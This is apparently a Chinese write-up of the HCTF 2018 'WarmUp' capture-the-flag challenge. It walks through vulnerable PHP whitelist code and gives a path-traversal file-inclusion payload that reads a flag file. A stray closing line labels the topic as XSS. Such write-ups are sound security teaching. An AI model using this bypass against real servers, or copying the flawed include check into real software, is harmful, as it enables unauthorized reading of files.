[HCTF 2018] WarmUp

考点:PHP代码审计,文件包含

wp:
根据源码,访问source.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php  
    highlight_file(__FILE__);
    class emmm    {
        public static function checkFile(&$page)
        {   $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }          $_page = mb_substr($page,0, mb_strpos($page . '?', '?') );
            if (in_array($_page, $whitelist)) {
                return true;
            }          $_page = urldecode($page); 
                   $_page = mb_substr( $_page,0,mb_strpos($_page . '?', '?'));
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; []()
    }  ?>

hint.php

1
flag not here, and flag in ffffllllaaaagggg

代码审计:

1
2
3
4
5
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];

定义类:emmm
静态方法:checkFile
作用:检查要包含的文件是否在白名单中
白名单是一个关联数组$whitelist,其中包含了允许包含的文件的键值对。在代码中,允许包含的文件有”source”=>”source.php”和”hint”=>”hint.php”。

1
2
3
4
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

isset:检查是否存在$page参数
is_string:检查传入的$page参数是否为字符串类型

1
2
3
if (in_array($page, $whitelist)) {
return true;
}

in_array:检查是否在$whitelist中找到传入的 $page

1
2
3
4
5
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);

mb_substr:从起始位置开始截取到mb_strpos($page . ‘?’, ‘?’)
mb_strpos:查找字符串$page . ‘?’中第一个问号 ? 的位置
先在 $page 末尾拼接一个问号 ?,再找?的位置
总之就是:从字符串 $page 中提取问号 ? 之前的部分

1
2
3
4
5
6
7
if (in_array($_page, $whitelist)) {  
                return true;
            }          $_page = urldecode($page); 
                   $_page = mb_substr( $_page,0,mb_strpos($_page . '?', '?'));
            if (in_array($_page, $whitelist)) {
                return true;
            }

URL编码,之后再次检查传入的$page是否直接在白名单中存在

1
2
3
4
5
6
7
8
9
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}

检查 $REQUEST[‘file’]是否为空,是否为字符串类型,并调用emmm::checkFile方法进行检查。
如果返回值为true,则通过include语句包含 $REQUEST[‘file’]指定的文件并终止程序执行
否则输出一个图片。

payload:

1
source.php?file=hint.php?/../../../../ffffllllaaaagggg

source.php一般是在html目录下,往上是www,var,然后到根目录,flag一般就放在根目录下面,这里还有一个hint.php?/或者source.php?/,因此需要返回四层才能到根目录
image.png

考点:XSS